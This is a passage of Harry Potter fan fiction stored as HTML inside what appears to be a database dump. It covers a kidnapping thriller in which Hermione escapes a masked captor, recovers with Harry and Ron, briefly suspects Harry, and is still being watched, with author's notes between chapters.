class="MsoNormal">&#8220;No&#8230; please&#8230;&#8221; she could only protest weakly\nnow. &#8220;Please, I won&#8217;t tell anyone I swear I won&#8217;t.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up!&#8221; the person screamed. &#8220;It&#8217;s time\nto go, Hermione&#8230;.&#8221; The blade pressed harder against her skin and a sharp pain\naccompanied this time. She felt something warm start to trickle down her neck\nand realised in that instant if she wanted to live, she was going to have to\nact.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;NO!&#8221; she screamed, and pulled her arm from\none of the loops. She punched the person as hard as she could and they went\nflying back, the knife skittering across the floor. Not wasting a moment, she\nyanked her other arm and legs from the bonds and delivered a swift kick between\nthe person&#8217;s legs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AHHHH BITCH!&#8221; they cried, hunched over in\npain. Hermione took her chance and ran across the room out the door, slamming\nit behind her, and flew down a narrow flight of stairs. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Front door&#8230;&#8221; she gasped to herself as she\nfell down the last few steps. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;M GOING TO FUCKING RIP YOU APART!&#8221; the\nperson literally roared, crashing through the door. Hermione screamed again and\nran to the right, entering a tiny kitchen. She saw a door across the room and\nclawed at the handle with one hand while pressing her fingers to her wound with\nthe other. She managed to get the door open and stumbled outside, the cold air\nbiting at her exposed skin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Got&#8230;.to&#8230;get&#8230;out&#8230;of here&#8230;&#8221; Hermione gasped,\nstreaking across the yard. A tall wire fence surrounded the property; she\nsearched it frantically for some sort of gate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No way I&#8217;m letting you go now!&#8221; the person\nwas holding themselves up in the door frame, a wand pointed directly at her.\n&#8220;Stupefy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ducked the spell by a hairs width,\nand continued her near hysterical search. In her panicked mind, one thought\nsuddenly came through clear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Apparate.&#8221; She said to herself as yet\nanother spell came flying her way. The person had said they only put wards on\nthe room she was in. &#8220;I&#8217;ll go to the Ministry building!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AVADA KEDAVRA!&#8221; the figure screamed,\nfurious to the point of no return. Hermione&#8217;s eyes opened wide as the green\nlight sped towards her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;NO!&#8221; She screamed as she closed her eyes\nand concentrated on the white stone steps of the Ministry of Magic. The green\nlight continued to rush forward and Hermione disappeared as it hit the fence\nbehind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">A/N:\nWoo! Didn&#8217;t think Hermione was going to make it there for a second or two. I&#8217;m\ntrying my hand at a bit of violent action so that I&#8217;ll be better prepared for\nsome upcoming scenes of Shadows. </b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Please\nleave a review and let me know what you think of this so far! I am not sure yet\nwhen I will be updating, I wasn&#8217;t even going to write this for awhile due to\nthe large workload I have right now with school.</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Art\nof Seduction and Shadows will be on their way soon! Once my schedule calms down\nI&#8217;ll have more time to write and get new chapters out to you guys!</b></p>\n\n\n\n\n\n\n'),
	(237, 2, ' <p>Chapter 2</p>\n\n<p>WOW!! What a great response to chapter one! I am thrilled to see that most everyone seems to be enjoying this story so far! It&#8217;s definitely a bit different than I normally do, because I HATE having Hermione be hurt, she&#8217;s my favourite character!</p>\n\n<p>A few of you had some good guesses as to who the villain might be, but my lips are sealed! Heehee!!!</p>\n\n<p>Harry, Hermione, Ron and Co are all in their early 20&#8217;s in this fic&#8230;. It&#8217;s also going to be a short one, around 4 chapters at the moment!</p>\n\n<p><b>I apologise for the delay in this chapter. As most of you know, I had a hard drive crash back at the end of March, and until this past Monday, I lost all my data. Luckily I got it all back so updates should be a bit more frequent.</b></p>\n\n<p>Anyways, again, please don&#8217;t forget to R/R, I thrive on reviews!!!!</p>\n\n<p>All she could remember for awhile was darkness. Pinpricks of light would occasionally dance across her eyelids only to be swallowed by the blackness again moments later.</p>\n\n<p>&#8220;&#8230;.you have to tell her sometime Harry&#8230;.&#8221; Muffled voices trailed over her, she could sometimes make out a word or two.</p>\n\n<p>&#8220;&#8230;been through enough Ron, I&#8217;m not going to push this on her&#8230;.&#8221; Another voice, a more familiar one, made her reach out.</p>\n\n<p>She tried to talk, but her mouth would not form words. Instead, it opened and closed soundlessly. Neither of the men saw it; they were talking too heatedly over her head.</p>\n\n<p>&#8220;&#8230;end of discussion Ron!&#8221; Harry said vehemently. His other best friend sat back in the chair on the opposite side of the bed.</p>\n\n<p>&#8220;Fine, for now.&#8221; Ron replied. </p>\n\n<p>Hermione cracked her eyes open a tiny bit, allowing them to get used to the light. Two fuzzy shapes were on either side of her, one with black hair, the colour of <st1:time minute="0" hour="0">midnight</st1:time>, and one with flaming fire red hair. She tried to lick her dry lips, but her mouth felt like it had been stuffed full of cotton.&nbsp; Moving her hand, she touched Harry&#8217;s fingers.</p>\n\n<p>&#8220;Harry?&#8221; her voice was hoarse. &#8220;Ron?&#8221;</p>\n\n<p>&#8220;Hermione!&#8221; Both men leaned forward. Harry took up her hand tightly in his.</p>\n\n<p>&#8220;What&#8230; what am I doing here?&#8221; she asked, feeling a little more alert. &#8220;What happened?&#8221;</p>\n\n<p>Harry and Ron looked at each other. &#8220;Hermione&#8230; you&#8230;were kidnapped.&#8221; Ron said slowly. &#8220;You don&#8217;t remember any of it?&#8221;</p>\n\n<p>Hermione was silent as she turned and looked first at Ron, then Harry. &#8220;Could I have some water please?&#8221; she asked.</p>\n\n<p>&#8220;Sure.&#8221; Harry released her hand and crossed the room. Hermione lay back as Ron took up her other hand in his. Harry came back to her bedside and handed her a glass. She gulped the water down greedily. </p>\n\n<p>&#8220;Thanks, Harry.&#8221; Her voice was stronger now. He set the glass on the table behind him and curved his fingers through hers.</p>\n\n<p>&#8220;Do you remember anything?&#8221; Harry asked gently. When Ministry officials first alerted him that Hermione had come to the building dishevelled and bloody, they had told him when she woke up to try and get her to recall any and all details about her situation. &#8220;Anything at all?&#8221;</p>\n\n<p>Hermione pulled her hand from Ron&#8217;s and pressed it to her throat. A memory flashed through her mind of a silver knife blade up against the same spot her palm was now.</p>\n\n<p>&#8220;Oh God&#8230;&#8221; Hermione whimpered as it all rushed back at her. &#8220;I&#8230;I was in an old house, with boarded up windows, in a locked room. I was tied to a bed&#8230;.but I managed to pull loose because they didn&#8217;t tie the knots properly.&#8221;</p>\n\n<p>Ron and Harry exchanged glances. &#8220;Hermione&#8230; do you remember who took you?&#8221; Ron asked carefully.</p>\n\n<p>She shook her head. &#8220;No.&#8221;</p>\n\n<p>&#8220;You didn&#8217;t recognise their voice or anything?&#8221; Harry asked.</p>\n\n<p>Hermione appeared to be thinking hard, which Harry took as a good sign. &#8220;No.&#8221; she finally answered. &#8220;I remember thinking that exact same thing when they first came in the room&#8230; but whoever it was must have read my mind, because they told me that their voice was disguised.&#8221;</p>\n\n<p>&#8220;Damn&#8230;&#8221; Harry swore softly.</p>\n\n<p>&#8220;I&#8217;m sorry.&#8221; Hermione replied, looking at him, tears forming in her eyes.</p>\n\n<p>&#8220;No, Hermione.&#8221; Harry instantly looked contrite. &#8220;I&#8217;m not angry at you.&#8221; </p>\n\n<p>Ron nodded. &#8220;It&#8217;s amazing you can talk about it, without falling apart. You&#8217;re really strong, Hermione.&#8221;</p>\n\n<p>Hermione felt a slight tug at her lips. &#8220;Thanks.&#8221; She smiled through her tears. &#8220;You guys are the best.&#8221; Her lower lip trembled as her eyes grew watery once more.</p>\n\n<p>&#8220;Listen, I&#8217;m going to go get Neville and Dean.&#8221; Ron said. &#8220;They wanted us to get them as soon as you woke up.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Hermione replied, lying her head back down again. Ron left the room, closing the door softly behind him.</p>\n\n<p>&#8220;So&#8230;.&#8221; Harry still had her hand in his. &#8220;How are you really feeling?&#8221;</p>\n\n<p>Hermione shrugged. &#8220;Violated, for starters. I feel like I&#8217;m not safe anymore.&#8221;</p>\n\n<p>Harry nodded. &#8220;I can understand that.&#8221; His head bowed low. &#8220;I feel like this is my fault.&#8221;</p>\n\n<p>&#8220;What?&#8221; Hermione stared at him. &#8220;How?&#8221;</p>\n\n<p>&#8220;I should have said yes when you asked if you should come over.&#8221; Harry replied. </p>\n\n<p>Hermione reached over and covered his hand with her other one. &#8220;Harry&#8230; even if I had come over, maybe the person would have come after me another night&#8230; possibly with a different outcome. I don&#8217;t blame you, not in the slightest.&#8221; She managed a small smile. &#8220;Besides, it sounded like you&#8217;ve had a rough enough couple of days.&#8221;</p>\n\n<p>&#8220;You can say that again.&#8221; Harry agreed, raking his hand through his coal black hair. He gave her a crooked grin. &#8220;I&#8217;m glad you&#8217;re okay though. When I went to your place that next night and you weren&#8217;t there I started to worry, but it wasn&#8217;t until yesterday that I started really panicking.&#8221; Harry was only half telling the truth- he almost completely freaked out when he couldn&#8217;t find the woman he was in love with. The thought that he might not see her again tore at him until he had received word from the Ministry that Hermione was there.</p>\n\n<p>&#8220;Thanks.&#8221; Hermione said. At that moment Ron came back in the room with Neville, Dean and three other Ministry officials that neither Harry nor Hermione recognized.</p>\n\n<p>With both her boys by her side, Hermione was able to painstakingly recount nearly every detail of what had happened to her. It brought her to tears a number of times to recall the knife; it had been the worst part of the whole nightmare. </p>\n\n<p>&#8220;They brought it up against my throat&#8230;&#8221; Hermione said. &#8220;And then they cut me&#8230; right here&#8230;&#8221; she traced a finger along the faint mark that appeared on her otherwise unblemished skin. </p>\n\n<p>Harry clenched his fists in rage; he wanted to kill whoever had done this. One glance at Ron told him that he felt the same way. Hermione swallowed a few times, the lump in her throat too large to speak past.</p>\n\n<p>&#8220;Whoever it was, left the knots tied too loose, and I was able to work myself free.&#8221; She began again.&nbsp; &#8220;I tried to apparate out, and I couldn&#8217;t, they placed wards around the room. It was only when they came at me with the knife I knew I would have to do something&#8230;&#8221; A tear slipped down her face again and she brushed it away. &#8220;I ran outside and then apparated here.&#8221;</p>\n\n<p>Neville leaned forward. &#8220;Hermione, one more thing. Do you know of anyone who would want to do this?&#8221;</p>\n\n<p>Hermione swallowed again and Harry reached over and grasped her hand. &#8220;Um&#8230; well&#8230; I don&#8217;t know if she&#8217;d go this far but Millicent Bulstrode and I don&#8217;t get along at all. I don&#8217;t know if she hates me that much though.&#8221; She thought some more. &#8220;Viktor Krum and I had some words that same evening too&#8230;.&#8221;</p>\n\n<p>&#8220;Krum?&#8221; Ron asked, his blue eyes darkening. It was no secret that there was no love lost between he and Krum; they often clashed on the Quidditch field. &#8220;What was that asshole doing with you?&#8221;</p>\n\n<p>&#8220;He&#8217;s been waiting for me outside work nearly every day the past few weeks.&#8221; Hermione replied. &#8220;I finally lost my temper with him the other day.&#8221;</p>\n\n<p>Neville nodded at Dean. &#8220;We&#8217;ll find out where he was that night. Ask about Bulstrode too.&#8221; He said. Dean and one of the other Ministry officials scribbled the names down on their parchments.</p>\n\n<p>&#8220;Is there anything else?&#8221; Hermione asked, suddenly feeling quite weak. &#8220;This&#8230; it&#8217;s just really hard to talk about.&#8221;</p>\n\n<p>&#8220;No, that&#8217;s enough for now, we may need to ask you things periodically until it&#8217;s all over, but nothing like today.&#8221; Neville leaned forward. &#8220;It was good of you to take us through all that.&#8221;</p>\n\n<p>Hermione nodded wordlessly as they all stood up. Images swirled through her head like a cyclone, making her knees feel like melted butter. Darkness rushed in from all sides as she fell backwards.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Hermione found herself fighting against gravity as her eyelids did not seem to want to open. &#8220;Mmmphhh&#8230;&#8221; she mumbled and her hand was instantly seized by someone sitting at the side of her bed. &#8220;No!&#8221; Hermione tried to pull away. &#8220;No! Leave me alone!&#8221;</p>\n\n<p>&#8220;Hermione!&#8221; a voice was bringing her into the light. &#8220;Hermione it&#8217;s me!&#8221;</p>\n\n<p>&#8220;Ron?&#8221; she finally opened her eyes and saw the concerned face of her red haired best friend. &#8220;Oh God, I&#8217;m sorry&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s all right.&#8221; Ron said soothingly as he pulled her into a gentle hug. </p>\n\n<p>&#8220;I thought you&#8230; I mean I thought&#8230;&#8221; Hermione couldn&#8217;t finish her sentence. &#8220;I&#8217;m so sorry Ron.&#8221; </p>\n\n<p>&#8220;It&#8217;s all right, Hermione.&#8221; Ron said again as she sat back and wiped at her eyes. &#8220;Do you need anything?&#8221;</p>\n\n<p>&#8220;No&#8230; no I&#8217;m all right.&#8221; She took a few deep breaths to calm herself down. &#8220;What am I doing here in Harry&#8217;s room?&#8221; Hermione asked, looking around.</p>\n\n<p>&#8220;Err&#8230;&#8221; Ron bit his lower lip. &#8220;Well&#8230; after you got done talking to Neville, you passed out. Harry caught you and brought you back to your place, but&#8230;&#8221; His voice trailed off.</p>\n\n<p>&#8220;But what, Ron?&#8221; Hermione asked.</p>\n\n<p>&#8220;It was messed up&#8230;&#8221; he confessed, eyeing her worriedly. &#8220;Someone trashed your entire flat. Harry told me to bring you on to his place while he stayed and fixed things up for you.&#8221; </p>\n\n<p>&#8220;How&#8230; how bad was it?&#8221; Hermione&#8217;s voice wavered slightly.</p>\n\n<p>Ron sighed. &#8220;Pretty bad, from what I could see.&#8221; He reached forward and took her hand. &#8220;But Harry will fix it for you, he&#8217;d do anything for you.&#8221;</p>\n\n<p>&#8220;Yeah, I know.&#8221; Hermione managed a small smile. &#8220;I&#8217;m glad you stayed with me.&#8221;</p>\n\n<p>Ron grinned. &#8220;Well I couldn&#8217;t have my second favourite girl staying all alone, now could I?&#8221;</p>\n\n<p>&#8220;Second favourite?&#8221; Hermione asked, her eyebrows raised.</p>\n\n<p>&#8220;No offence Herms&#8230; but Nicole has taken over your number-one-female-in-Ron&#8217;s-life spot.&#8221; He was referring to his girlfriend of two and a half years, who was manager of his Quidditch team.</p>\n\n<p>&#8220;Right, right.&#8221; Hermione replied, her brown eyes sparking back to life. &#8220;How easily I can be replaced&#8230;&#8221; they both laughed and Ron gave her a tighter hug.</p>\n\n<p>&#8220;Now THAT&#8217;S the Hermione I know.&#8221; He gave her a kiss on the cheek.</p>\n\n<p>&#8220;How long was I out for?&#8221; she asked, settling back on the pillows.</p>\n\n<p>&#8220;A good few hours.&#8221; Ron replied. &#8220;Harry&#8217;s really concerned about you though,&#8221;</p>\n\n<p>&#8220;He&#8217;s sweet to care about me like that, when he&#8217;s got enough of his own problems.&#8221;</p>\n\n<p>&#8220;Yeah, I heard about Liz.&#8221; The corner of Ron&#8217;s mouth turned down. &#8220;Has he said anything to you about it?&#8221;</p>\n\n<p>&#8220;He called me that night, and we were supposed to get together for dinner the evening after.&#8221; Hermione replied.</p>\n\n<p>&#8220;Did he say anything else?&#8221; Ron leaned forward and Hermione looked at him curiously.</p>\n\n<p>&#8220;No&#8230; why?&#8221;</p>\n\n<p>&#8220;I&#8217;m back!&#8221; Harry was standing in the doorway. Hermione and Ron both looked up, Ron with a guilty look in his eyes. &#8220;Can I talk to you a moment?&#8221; Harry asked his male best friend.</p>\n\n<p>Ron swallowed audibly but he gave Hermione a reassuring glance as he went in the hallway. Harry shut the door behind them and then crossed his arms over his chest, glaring menacingly.</p>\n\n<p>&#8220;I didn&#8217;t say anything to her!&#8221; Ron said before Harry could even utter a word. </p>\n\n<p>&#8220;But you were going to.&#8221; Harry countered. &#8220;I told you, this has nothing to do with you, just leave it be! I&#8217;m not going to trouble her with this right now.&#8221;</p>\n\n<p>&#8220;Fine.&#8221; Ron held his hands up in surrender. &#8220;But you should tell her Harry. I don&#8217;t think she&#8217;d be scared off by it.&#8221;</p>\n\n<p>&#8220;Just leave it be.&#8221; Harry spoke each word slowly.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; Hermione had come to the door. &#8220;Did something else happen?&#8221;</p>\n\n<p>Harry and Ron both turned to look at her and she was shocked by the bright, angry look in Harry&#8217;s eyes. But a moment later, it had disappeared and was the same emerald colour they had always been.</p>\n\n<p>&#8220;How are you feeling?&#8221; Harry immediately moved away from Ron and towards her. </p>\n\n<p>&#8220;I&#8217;m doing all right.&#8221; She answered. &#8220;What&#8230; did&#8230;. How was my flat?&#8221;</p>\n\n<p>&#8220;I managed to fix most of your things.&#8221; Harry said. &#8220;Do you want to go back yet, or rest up for awhile longer?&#8221;</p>\n\n<p>&#8220;I should go back&#8230; I&#8217;ll need to get on my feet sooner or later.&#8221; Hermione said. Harry nodded at Ron and they all went outside and apparated to her flat.</p>\n\n<p>With a trembling hand, Hermione opened the door and stepped inside, trying not to let her fear overwhelm her. Everywhere she looked, there seemed to be evidence of an intruder. Even her normally comfortable and cheery den looked cold and uninviting.</p>\n\n<p>&#8220;Are you all right?&#8221; Harry asked her quietly as Ron moved further into the place.</p>\n\n<p>&#8220;Yes.&#8221; Hermione answered, leaning up against him. &#8220;No&#8230; I don&#8217;t know&#8230; I just don&#8217;t feel like it&#8217;s my place anymore.&#8221; She felt his arm go around her waist and was grateful for the support.</p>\n\n<p>&#8220;It&#8217;s all right.&#8221; He leaned in and spoke softly in her ear. Hermione felt a warm shiver go through her body as his breath brushed her skin. &#8220;Ron and I aren&#8217;t going to let anything happen to you.&#8221; </p>\n\n<p>She simply nodded and moved forward, heading automatically towards the bedroom. Opening the door, she blew out a breath she didn&#8217;t even realise she had been holding.</p>\n\n<p>Harry followed her in, staying near the door as she slowly ventured in, trying not to let panic overcome her as the memories of that night came back to her.</p>\n\n<p><i>&#8220;Fucking bitch&#8230;&#8221; a voice came from the hallway as the person used one of their hands to unlock the door, then step inside. Hermione trembled violently; the person&#8217;s head was covered with a baggy black mask that matched the rest of their clothing. </i></p>\n\n<p>&#8220;Oh no&#8230;&#8221; Hermione swayed and Harry leapt forward to catch her. &#8220;I can&#8217;t stay here Harry, I can&#8217;t stay&#8230;.&#8221;</p>\n\n<p>&#8220;Shhhh&#8230;&#8221; Harry pulled her body up against his, his arms winding securely around her. &#8220;Hermione it&#8217;s all right,&#8221; his hand stroked her back soothingly through her hair. &#8220;You can come stay with me however long you need to.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Hermione asked, wiping a few tears away. &#8220;No, Harry I can&#8217;t impose on you like that.&#8221;</p>\n\n<p>&#8220;I insist.&#8221; He brushed a stray lock of hair away from her face and for a moment she was drowning in his emerald eyes. He cleared his throat awkwardly and the moment passed. &#8220;Why don&#8217;t you get what you need together and we can go back to my flat.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Hermione took a deep breath. &#8220;Will you&#8230;. Will you stay in here though? While I pack?&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Harry agreed, unable to deny her anything. &#8220;Want some help?&#8221;</p>\n\n<p>Hermione looked up and managed a tiny smile. &#8220;No, I just&#8230; didn&#8217;t want to be alone.&#8221; </p>\n\n<p>&#8220;Understandable.&#8221; Harry replied, leaning against the doorframe. His eyes followed her around the room as she quickly threw clothes and toiletries in a bag she had pulled from underneath her bed. He took the bag from her as she finished and they went back into the hallway.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; Ron asked, coming out of the kitchen.</p>\n\n<p>&#8220;I&#8230;&#8221; Hermione looked at Harry, who was already glancing back at Ron. &#8220;I&#8217;m going to stay with Harry for awhile.&#8221; She replied. &#8220;I just&#8230; don&#8217;t want to stay alone.&#8221;</p>\n\n<p>&#8220;That&#8217;s a good idea.&#8221; Ron said before Harry could respond. </p>\n\n<p>They all stood in the hallway a moment and then Harry shifted Hermione&#8217;s bag to his other hand. &#8220;Well, let&#8217;s get out of here then.&#8221; He said. The three of them went back out of her flat and Hermione locked the door while Harry cast a spell so that no one could get in. </p>\n\n<p>&#8220;Did you find your wand, Hermione?&#8221; Ron asked as Harry unlocked the door to his flat and ushered them inside.</p>\n\n<p>&#8220;Yes,&#8221; Hermione answered as Harry disappeared down the hall to deposit her bag in his guest room. &#8220;It was under my bed, where it rolled when I was trying to grab it that night.&#8221; She put her hand to her forehead and instantly Harry was back down the hall and he and Ron were by her side. &#8220;I&#8217;m all right you two. Just a bit dizzy is all. I probably just need something to eat.&#8221;</p>\n\n<p>&#8220;I&#8217;ll make you some dinner.&#8221; Harry replied. &#8220;Ron, are you staying?&#8221;</p>\n\n<p>&#8220;Wish I could.&#8221; Ron said. &#8220;But I had to miss a game to be here and need to get back for practice.&#8221; Ron was Keeper on the Chudley Cannons; he had improved on his game vastly since his days at Hogwarts.</p>\n\n<p>&#8220;Ron I&#8217;m sorry.&#8221; Hermione gasped. &#8220;You didn&#8217;t have to miss a game for me!&#8221;</p>\n\n<p>&#8220;Silly.&#8221; Ron stepped forward and gave her a hug. &#8220;I&#8217;d miss the World Cup if you were gone then too.&#8221;</p>\n\n<p>&#8220;Thanks, Ron.&#8221; Hermione felt her eyes grow teary again. He pulled back and shook Harry&#8217;s hand while giving him a look.</p>\n\n<p>Harry chose to ignore it. &#8220;Thanks for coming to help, Ron.&#8221; He said gratefully. &#8220;I appreciate it.&#8221;</p>\n\n<p>&#8220;Anytime.&#8221; Ron gave Hermione another quick hug.</p>\n\n<p>&#8220;I&#8217;ll walk you out.&#8221; Harry said. &#8220;Hermione, I&#8217;ll be right back.&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Hermione said, sitting down at his kitchen table.</p>\n\n<p>When Harry had moved into his flat, he had placed apparition wards all around it so that no one could get in or out besides the front door. As he opened it for Ron, he took a quick look up and down the street.</p>\n\n<p>&#8220;What are you looking for?&#8221; Ron asked as he stepped outside.</p>\n\n<p>&#8220;Just looking&#8230;&#8221; Harry had been warned by Neville to watch his surroundings when Hermione was around, in case her kidnapper tried anything again.</p>\n\n<p>&#8220;At least I know you&#8217;ll keep a good eye on her.&#8221; Ron said. &#8220;And think about telling her.&#8221;</p>\n\n<p>&#8220;Ron,&#8221; Harry began, his voice a low warning tone.</p>\n\n<p>&#8220;Just think about it Harry.&#8221; Ron said. &#8220;If you ask me, the two of you have skirted around one another long enough.&#8221; He apparated away before Harry could respond.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bloody bastard&#8230;&#8221; Harry grumbled as he went back inside after putting up his wards and locking his door. </p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; Hermione asked softly from where she still sat.</p>\n\n<p>&#8220;Nothing,&#8221; Harry answered quickly. Ron was crazy. He had absolutely no proof that Hermione felt the same way about him. &#8220;What would you like for dinner?&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Hermione thought for a moment. &#8220;Anything&#8217;s fine, really.&#8221;</p>\n\n<p>&#8220;How about stir fry?&#8221; Harry&#8217;s kitchen was equipped like it was a Muggle kitchen; he found that all those years of cooking for the Dursleys was paying off as he made his own meals now.</p>\n\n<p>&#8220;That sounds good.&#8221; Hermione said. &#8220;Do you need any help?&#8221;</p>\n\n<p>&#8220;Nope,&#8221; Harry turned and grinned at her. &#8220;You just sit there, don&#8217;t lift a finger.&#8221;</p>\n\n<p>&#8220;You&#8217;re spoiling me, Harry.&#8221; Hermione smiled back at him.</p>\n\n<p>&#8220;You deserve it.&#8221; Harry dug through his cabinets for a cutting board. He set it on the counter and then began to pull out various vegetables to chop up.</p>\n\n<p>&#8220;At least let me set the table, then.&#8221; Hermione said.</p>\n\n<p>&#8220;If you insist.&#8221; Harry replied as he set the freshly washed vegetables out on the counter. Hermione smiled again and moved to the drawer where she knew Harry kept his utensils. She carefully laid out the silverware, then plates and glasses.</p>\n\n<p>&#8220;Anything else?&#8221; she asked, turning around. The smile immediately faded from her face.</p>\n\n<p>Harry was pulling a large chopping knife from another drawer. He ran it across what looked like a stone a few times to sharpen it up.</p>\n\n<p>It was the exact same knife that the kidnapper had used.</p>\n\n<p>Hermione gulped and sat down hard in the chair, trying not to openly tremble. <i>&#8216;What do I do?&#8217;</i> she wondered. Would Harry really do that to her? Harry, her best friend for over 10 years&#8230;. The knife made a crunching sound as he began to use it on the vegetables laid out on the counter. </p>\n\n<p><i>&#8220;But I managed to do a nice number on the bed after she was gone.&#8221; </i>Harry&#8217;s voice echoed through her head. Hermione knew that Harry&#8217;s temper, when he allowed it to show, could be quite a horrifying thing.<i></i></p>\n\n<p>Harry tossed all the vegetables and meat into the wok and within a few minutes had the meal ready in a serving dish. &#8220;Still hungry?&#8221; he turned around. Hermione was sitting with her arms wrapped around herself. &#8220;Are you cold?&#8221; he asked, bringing the dish over to the table.</p>\n\n<p>&#8220;What?&#8221; Hermione jumped and looked up at him. &#8220;Oh&#8230; no&#8230; I just&#8230; was lost in thought.&#8221; She didn&#8217;t meet his eyes.</p>\n\n<p>Harry knew something was wrong. &#8220;Oh,&#8221; was all he said. He sat down and served both of them and they began to eat in silence. &#8220;How is it?&#8221; he asked after a few minutes.</p>\n\n<p>Hermione jumped again. &#8220;What? Oh, it&#8217;s fine, really delicious.&#8221; She said.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; Harry asked. &#8220;I can tell something is bothering you.&#8221;</p>\n\n<p>Hermione was afraid to look up at him, she knew if she looked at his eyes she would break down, and he would be able to what she had been thinking. <i>&#8216;What <b>am</b> I thinking???&#8217;</i> Hermione was suddenly furious with herself. <i>&#8216;How could I think that Harry would do this?&#8217; </i></p>\n\n<p>&#8220;Hermione&#8230;&#8221; he had set down his fork and reached across the table to cover her hand with his. &#8220;Tell me, please&#8230; what&#8217;s wrong? Did I do something to upset you?&#8221;</p>\n\n<p>She couldn&#8217;t help it; Hermione raised her head and as soon as her tired brown eyes met his concerned green ones, she burst into tears.</p>\n\n<p>&#8220;Oh Harry!&#8221; she sobbed, &#8220;I&#8217;m sorry!&#8221; Hermione buried her face in her hands.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; Harry got up and moved into the chair next to her, taking her quickly into his arms. &#8220;Shhhh&#8230;.just calm down&#8230;.&#8221; He stroked her hair in a soothing manner much like he had earlier that day. &#8220;What&#8217;s wrong, you can tell me, you know that right?&#8221;</p>\n\n<p>She nodded, then pulled away to look up at him. &#8220;I just&#8230; I told you how the kidnapper had the knife&#8230;&#8221; her gaze wandered over to the counter where the chopping knife still laid. &#8220;It looked just like that one&#8230; and&#8230; my imagination just started to go out of control&#8230;&#8221; Hermione couldn&#8217;t finish the rest of her sentence.</p>\n\n<p>&#8220;You&#8230; you thought I had something to do with that?&#8221; Harry&#8217;s voice shook slightly in hurt.</p>\n\n<p>&#8220;No&#8230; not&#8230; not really,&#8221; Hermione wiped away at her tears. &#8220;It&#8217;s just&#8230; it made me think of what happened all over again.&#8221; Her fingers pressed at the spot on her neck where the knife had been held. &#8220;I&#8217;m sorry, Harry I don&#8217;t think you did anything I <b>know</b> you wouldn&#8217;t do anything like that!&#8221;</p>\n\n<p>Harry looked at her and felt something in his stomach clench. &#8220;It&#8217;s all right, Hermione.&#8221; He said quietly. One look at her could tell she barely even knew what she was saying, and because of that he felt the hurt melt away. &#8220;Come here.&#8221; He pulled her back into his embrace and this time he felt her arms wind around his waist. &#8220;I&#8217;m not mad.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Her voice was muffled because her face was pressed against his chest. She suddenly felt his lips in her hair and his hands moving softly over her backside. It was suddenly the only place she wanted to be.</p>\n\n<p>A figure stood outside, across the small backyard behind Harry&#8217;s flat. Raising their fist, they cracked the knuckles on each hand before dropping them back to their sides.</p>\n\n<p>&#8220;It&#8217;s not over yet, Hermione.&#8221; A sinister smile spread across their face. &#8220;It&#8217;s pretty fucking far from over.&#8221;</p>\n\n<p><b>A/N: I hope you all liked this chapter&#8230; I&#8217;ll try and have the next one posted soon&#8230; but first I&#8217;m going to work on a new chapter of Shadows &#8211;no, I haven&#8217;t forgotten about that story &#8211; and I also have some Caitlyn/Blue fluff headed your way as well. R/R!</b></p> '),
	(237, 3, ' <p>A/N: Thank you EVERYONE for all your reviews, they all mean so much to me, and I&#8217;m happy to see that you all like this story! There&#8217;s only one chapter left, to tie up loose ends and such ;)</p>\n\n<p>Special thanks to: Nicole, the Queen of Ron for her quick beta skills and help during my block while trying to finish this up.</p>\n\n<p>And a note: Several people seemed confused about the kidnapper&#8212; there is only one kidnapper&#8230; I used they/their so that the person would remain genderless until you guys find out who it is&#8230; my grammatical skills are not up to par, and I apologize for the confusion.</p>\n\n<p>Anyways, I&#8217;ll let you all read now :) Don&#8217;t forget to review when you&#8217;re done! :D</p>\n\n<p>&#8220;And so I&#8217;ll come and pick you up for lunch if you like, then again this evening.&#8221; Harry was saying as they walked quickly down the street.</p>\n\n<p>&#8220;You don&#8217;t have to do all this, Harry.&#8221; Hermione said with a slight smile. &#8220;Don&#8217;t change your plans for me.&#8221;</p>\n\n<p>&#8220;Too late.&#8221; Harry replied as they entered the building where Cho&#8217;s company was located. He escorted her into the lift and they began to rise to the top floor.</p>\n\n<p>&#8220;I&#8217;m nervous.&#8221; 